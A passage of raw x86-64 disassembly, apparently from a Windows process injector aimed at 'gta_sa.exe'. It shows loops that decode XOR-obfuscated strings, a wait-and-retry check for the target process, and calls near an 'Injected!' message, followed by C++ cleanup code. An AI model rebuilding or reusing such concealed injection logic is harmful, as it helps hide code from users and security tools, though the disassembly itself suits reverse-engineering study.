movq xmm2, xmm9
paddw xmm3, xmm2
movq xmm0, qword [rcx]
pxor xmm3, xmm0
movq qword [rcx], xmm3
lea eax, [r8 + 4]
movd xmm2, eax
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
movq xmm2, xmm9
paddw xmm3, xmm2
movq xmm0, qword [rcx + 8]
pxor xmm3, xmm0
movq qword [rcx + 8], xmm3
add r8d, 8
lea rcx, [rcx + 0x10]
cmp r8d, 0x28
jl 0x1400426b0
cmp r8d, 0x2a
jge 0x1400427e4
movsxd rax, r8d
lea r9, [rsp + 0x40]
lea r9, [r9 + rax*2]
nop dword [rax]
mov eax, 0x5397829d
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movzx eax, dx
imul ecx, eax, 0x31
movzx eax, r8w
sub ax, cx
add ax, 0x39
xor word [r9], ax
inc r8d
lea r9, [r9 + 2]
cmp r8d, 0x2a
jl 0x1400427b0
lea rdx, [rbp + 0x458]
lea rcx, [rsp + 0x40]
call fcn.14003d280
test al, al
je 0x140042c10
lea rdx, [rbp + 0x4700]
lea rcx, [rbp + 0x3f8]
call fcn.1400468b0
mov r8, qword [rax]
lea rdx, [rbp + 0x4708]
lea rcx, [rbp + 0x3f8]
call fcn.1400468d0
mov rdx, qword [rax]
lea rcx, [rbp + 0x4e0]
call fcn.1400473b0
nop
lea rdx, [rbp + 0x4710]
lea rcx, [rbp + 0x138]
call fcn.1400468b0
mov r8, qword [rax]
lea rdx, [rbp + 0x4718]
lea rcx, [rbp + 0x138]
call fcn.1400468d0
mov rdx, qword [rax]
lea rcx, [rbp + 0x480]
call fcn.1400473b0
nop
lea rcx, [rbp + 0x480]
call fcn.1400466d0
mov rdx, rax
lea rcx, [rbp + 0xf8]
call fcn.140046750
nop
lea rcx, [rbp + 0x4e0]
call fcn.1400466d0
mov rdx, rax
lea rcx, [rsp + 0x40]
call fcn.140046750
nop
lea rdx, [rbp + 0xf8]
lea rcx, [rsp + 0x40]
call fcn.14003e060
nop
lea rcx, [rsp + 0x40]
call fcn.1400466e0
nop
lea rcx, [rbp + 0xf8]
call fcn.1400466e0
lea rdx, [rbp + 0x4700]
lea rcx, [rbp + 0x458]
call fcn.1400468b0
mov r8, qword [rax]
lea rdx, [rbp + 0x478]
lea rcx, [rbp + 0x458]
call fcn.1400468d0
mov rdx, qword [rax]
lea rcx, [rbp + 0x4c0]
call fcn.1400473b0
nop
lea rcx, [rbp + 0x480]
call fcn.1400466d0
mov rdx, rax
lea rcx, [rbp + 0xd8]
call fcn.140046750
nop
lea rcx, [rbp + 0x4c0]
call fcn.1400466d0
mov rdx, rax
lea rcx, [rbp + 0x98]
call fcn.140046750
nop
lea rdx, [rbp + 0xd8]
lea rcx, [rbp + 0x98]
call fcn.14003e060
nop
lea rcx, [rbp + 0x98]
call fcn.1400466e0
nop
lea rcx, [rbp + 0xd8]
call fcn.1400466e0
mov edi, r12d
nop
lea rdx, str.gta_sa.exe
lea rcx, [rsp + 0x40]
call fcn.140046750
lea rcx, [rsp + 0x40]
call fcn.14003df60
movzx ebx, al
lea rcx, [rsp + 0x40]
call fcn.1400466e0
test bl, bl
jne 0x140042ba2
mov ecx, 0x3e8
call qword [sym.imp.KERNEL32.dll_Sleep]
inc edi
cmp edi, 0xa
jl 0x140042970
movups xmm0, xmmword [str.nzcn]
movups xmmword [rsp + 0x40], xmm0
movups xmm1, xmmword [0x14016fbe8]
movups xmmword [rsp + 0x50], xmm1
movsd xmm0, qword [0x14016fbf8]
movsd qword [rsp + 0x60], xmm0
mov eax, dword [0x14016fc00]
mov dword [rsp + 0x68], eax
movzx eax, byte [0x14016fc04]
mov byte [rsp + 0x6c], al
mov r8d, r12d
cmp r14d, 2
jl 0x140042b47
movdqa xmm5, xmmword [0x140170cd0]
movdqa xmm4, xmmword [0x1401710c0]
mov eax, 4
movd xmm6, eax
movdqa xmm7, xmmword [str.1111]
movd xmm8, esi
movdqa xmm0, xmmword [str.9999999999999999]
movdqa xmmword [rbp - 0x60], xmm0
lea rcx, [rsp + 0x44]
mov edx, dword [rbp - 0x60]
nop word [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x140170d40]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
pxor xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x140170d40]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
pxor xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x28
jl 0x140042a40
cmp r8d, 0x2d
jge 0x140042b90
movsxd rax, r8d
lea r9, [rsp + 0x40]
add r9, rax
nop dword [rax]
nop word [rax + rax]
mov eax, 0x5397829d
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x31
movzx eax, r8b
sub al, cl
add al, 0x39
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x2d
jl 0x140042b60
lea r9, [rsp + 0x40]
mov edx, 3
mov r8d, 0xbb8
jmp 0x140042bcc
lea rcx, [rbp + 0x3f8]
call fcn.14003d4e0
lea rcx, [rbp + 0x4a0]
call fcn.14003d4e0
lea r9, str.Injected_
mov edx, 1
mov r8d, 0x1388
lea rcx, [rbp + 0x2660]
call fcn.14003bc00
lea rcx, [rbp + 0x2660]
call fcn.14003bce0
nop
lea rcx, [rbp + 0x4c0]
call fcn.1400466e0
nop
lea rcx, [rbp + 0x480]
call fcn.1400466e0
nop
lea rcx, [rbp + 0x4e0]
call fcn.1400466e0
jmp 0x140042e15
movups xmm0, xmmword [0x1401705c8]
movups xmmword [rsp + 0x40], xmm0
movups xmm1, xmmword [0x1401705d8]
movups xmmword [rsp + 0x50], xmm1
movups xmm0, xmmword [0x1401705e8]
movups xmmword [rsp + 0x60], xmm0
movzx eax, word [0x1401705f8]
mov word [rsp + 0x70], ax
movzx eax, byte [0x1401705fa]
mov byte [rsp + 0x72], al
mov r8d, r12d
cmp r14d, 2
jl 0x140042d97
movdqa xmm5, xmmword [0x140170cd0]
movdqa xmm4, xmmword [0x1401710c0]
movd xmm6, edi
movdqa xmm7, xmmword [str.1111]
movd xmm8, esi
movdqa xmm0, xmmword [str.9999999999999999]
movdqa xmmword [rbp - 0x60], xmm0
lea rcx, [rsp + 0x44]
mov edx, dword [rbp - 0x60]
nop
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x140170d40]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
pxor xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x140170d40]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
pxor xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x30
jl 0x140042c90
cmp r8d, 0x33
jge 0x140042de0
movsxd rax, r8d
lea r9, [rsp + 0x40]
add r9, rax
nop dword [rax]
nop word [rax + rax]
mov eax, 0x5397829d
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x31
movzx eax, r8b
sub al, cl
add al, 0x39
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x33
jl 0x140042db0
lea r9, [rsp + 0x40]
mov edx, 3
mov r8d, 0xbb8
lea rcx, [rbp + 0x2660]
call fcn.14003bc00
lea rcx, [rbp + 0x2660]
call fcn.14003bce0
lea rcx, [rbp + 0x138]
call fcn.14003d570
nop
lea rcx, [rbp + 0x458]
call fcn.1400468f0
nop
lea rcx, [rbp + 0x500]
call fcn.1400468f0
nop
lea rcx, [rbp + 0x4a0]
call fcn.1400468f0
nop
lea rcx, [rbp + 0x3f8]
call fcn.1400468f0
nop
lea rcx, [rbp + 0x520]
call fcn.1400466e0
nop
lea rcx, [rbp + 0x138]
call fcn.1400468f0
nop
lea rcx, [rbp + 0x1b8]
call fcn.1400468f0
nop
mov rdx, qword [rbp + 0x170]
cmp rdx, 0x10
jb 0x140042eb4
inc rdx
mov rcx, qword [rbp + 0x158]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140042eaf
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140042eaf
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140048c18
movdqa xmm0, xmmword [0x140170ca0]
movdqu xmmword [rbp + 0x168], xmm0
mov byte [rbp + 0x158], 0
mov rdx, qword [rbp + 0x230]
cmp rdx, 0x10
jb 0x140042f0f
inc rdx
mov rcx, qword [rbp + 0x218]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140042f0a
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140042f0a
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140048c18
movdqa xmm0, xmmword [0x140170ca0]
movdqu xmmword [rbp + 0x228], xmm0
mov byte [rbp + 0x218], 0
mov rdx, qword [rbp + 0x250]
cmp rdx, 0x10
jb 0x140042f6a
inc rdx
mov rcx, qword [rbp + 0x238]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140042f65
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140042f65
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140048c18
movdqa xmm0, xmmword [0x140170ca0]
movdqu xmmword [rbp + 0x248], xmm0
mov byte [rbp + 0x238], 0
lea rbx, vtable.std::basic_ofstream_char__struct_std::char_traits_char__.0
mov rdx, qword [rbp + 0xd0]
cmp rdx, 8
jb 0x140042fd1
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp + 0xb8]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140042fcc
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140042fcc
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140048c18
mov qword [rbp + 0xc8], r12
mov qword [rbp + 0xd0], 7
mov word [rbp + 0xb8], r12w
mov rax, qword [rbp + 0x540]
movsxd rcx, dword [rax + 4]
mov qword [rbp + rcx + 0x540], rbx
mov rax, qword [rbp + 0x540]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0xa8]
mov dword [rbp + rcx + 0x53c], edx
lea rcx, [rbp + 0x548]
call fcn.140046660
lea rcx, [rbp + 0x550]
call qword [sym.imp.MSVCP140.dll_public_virtual:_void___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::destructor_void____ptr64]
lea rcx, [rbp + 0x5e8]
call qword [sym.imp.MSVCP140.dll_public_virtual:_void___cdecl_std::basic_ios_char__struct_std::char_traits_char__::destructor_void____ptr64]
nop
mov rdx, qword [rbp + 0x190]
cmp rdx, 0x10
jb 0x140043081
inc rdx
mov rcx, qword [rbp + 0x178]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14004307c
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14004307c
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140048c18
movdqa xmm0, xmmword [0x140170ca0]
movdqu xmmword [rbp + 0x188], xmm0
mov byte [rbp + 0x178], 0
mov rdx, qword [rbp + 0x1f0]
cmp rdx, 8
jb 0x1400430e1
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp + 0x1d8]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400430dc
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400430dc
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140048c18
mov qword [rbp + 0x1e8], r12
mov qword [rbp + 0x1f0], 7
mov word [rbp + 0x1d8], r12w
mov rdx, qword [rbp + 0x1b0]
cmp rdx, 8
jb 0x140043144
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp + 0x198]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14004313f
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14004313f
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140048c18
movdqa xmm0, xmmword [0x140170c80]
movdqu xmmword [rbp + 0x1a8], xmm0
mov word [rbp + 0x198], r12w
cmp r13, 0x10
jb 0x140043197
lea rdx, [r13 + 1]
mov rax, r15
cmp rdx, 0x1000
jb 0x14004318e
add rdx, 0x27
mov r15, qword [r15 - 8]
sub rax, r15
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14004318e
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
mov rcx, r15
call fcn.140048c18
nop
mov rdx, qword [rbp + 0x430]
cmp rdx, 8
jb 0x1400431e1
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp + 0x418]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400431db
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400431db
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140048c18
nop
mov rdx, qword [rbp + 0x450]
cmp rdx, 8
jb 0x14004322b
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp + 0x438]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140043225
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140043225
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140048c18
nop
mov rdx, qword [rbp + 0x350]
cmp rdx, 8
jb 0x140043275
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp + 0x338]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14004326f
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14004326f
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140048c18
nop
mov rdx, qword [rbp + 0x58]
cmp rdx, 0x10
jb 0x1400434f6
inc rdx
mov rcx, qword [rbp + 0x40]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400432b2
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400432b2
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140048c18
jmp 0x1400434f6
movups xmm0, xmmword [0x14016fc40]
movups xmmword [rbp + 0x40], xmm0
movups xmm1, xmmword [0x14016fc50]
movups xmmword [rbp + 0x50], xmm1
movups xmm0, xmmword [0x14016fc60]
movups xmmword [rbp + 0x60], xmm0
movzx eax, word [0x14016fc70]
mov word [rbp + 0x70], ax
movzx eax, byte [0x14016fc72]
mov byte [rbp + 0x72], al
mov r8d, r12d
cmp r14d, 2
jl 0x140043447
movdqa xmm5, xmmword [0x140170cd0]
movdqa xmm4, xmmword [0x1401710c0]
movd xmm6, edi
movdqa xmm7, xmmword [str.1111]
movd xmm8, esi
movdqa xmm0, xmmword [str.9999999999999999]
movdqa xmmword [rbp - 0x60], xmm0
lea rcx, [rbp + 0x44]
mov edx, dword [rbp - 0x60]
nop dword [rax]
nop dword [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x140170d40]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
pxor xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x140170d40]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
pxor xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x30
jl 0x140043340
cmp r8d, 0x33
jge 0x140043490
movsxd rax, r8d
lea r9, [rbp + 0x40]
add r9, rax
nop dword [rax]
nop word [rax + rax]
mov eax, 0x5397829d
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x31
movzx eax, r8b
sub al, cl
add al, 0x39
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x33
jl 0x140043460
lea r9, [rbp + 0x40]
mov edx, 3
mov r8d, 0xbb8
lea rcx, [rbp + 0x2660]
call fcn.14003bc00
mov rax, qword [0x14017a050]
cmp rax, qword [0x14017a058]
je 0x1400434dd
mov r8d, 0x2010
lea rdx, [rbp + 0x2660]
mov rcx, rax
call sub.VCRUNTIME140.dll_memcpy
add qword [0x14017a050], 0x2010
jmp 0x1400434ec
lea r8, [rbp + 0x2660]
mov rdx, rax
call fcn.1400486a0
lea rcx, [rbp - 0x40]
call fcn.14003d570
nop
mov rdx, qword [rbp + 0x18]
cmp rdx, 0x10
jb 0x140043534
inc rdx
mov rcx, qword [rbp]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14004352f
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14004352f
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140048c18
mov qword [rbp + 0x10], r12
mov qword [rbp + 0x18], 0xf
mov byte [rbp], 0
mov rdx, qword [rbp + 0x38]
cmp rdx, 0x10
jb 0x140043582
inc rdx
mov rcx, qword [rbp + 0x20]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14004357d
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14004357d
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140048c18
movdqa xmm0, xmmword [0x140170ca0]
movdqu xmmword [rbp + 0x30], xmm0
mov byte [rbp + 0x20], 0
mov rdx, qword [rbp + 0x2b0]
cmp rdx, 8
jb 0x1400435dc
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp + 0x298]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400435d7
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400435d7
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140048c18
movdqa xmm0, xmmword [0x140170c80]
movdqu xmmword [rbp + 0x2a8], xmm0
mov word [rbp + 0x298], r12w
mov rdx, qword [rbp - 0x28]
cmp rdx, 0x10
jb 0x140043632
inc rdx
mov rcx, qword [rbp - 0x40]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14004362d
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14004362d
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140048c18
movdqa xmm0, xmmword [0x140170ca0]
movdqu xmmword [rbp - 0x30], xmm0
mov byte [rbp - 0x40], 0
mov rdx, qword [rbp + 0x2d0]
cmp rdx, 0x10
jb 0x140043687
inc rdx
mov rcx, qword [rbp + 0x2b8]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140043682
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140043682
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140048c18
lea r11, [rsp + 0x47b8]
movaps xmm6, xmmword [r11 - 0x18]
movaps xmm7, xmmword [r11 - 0x28]
movaps xmm8, xmmword [r11 - 0x38]
movaps xmm9, xmmword [r11 - 0x48]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbx
pop rbp
ret
call fcn.14003bb20
nop
call fcn.14003bb20
nop
call fcn.14003bb20
int3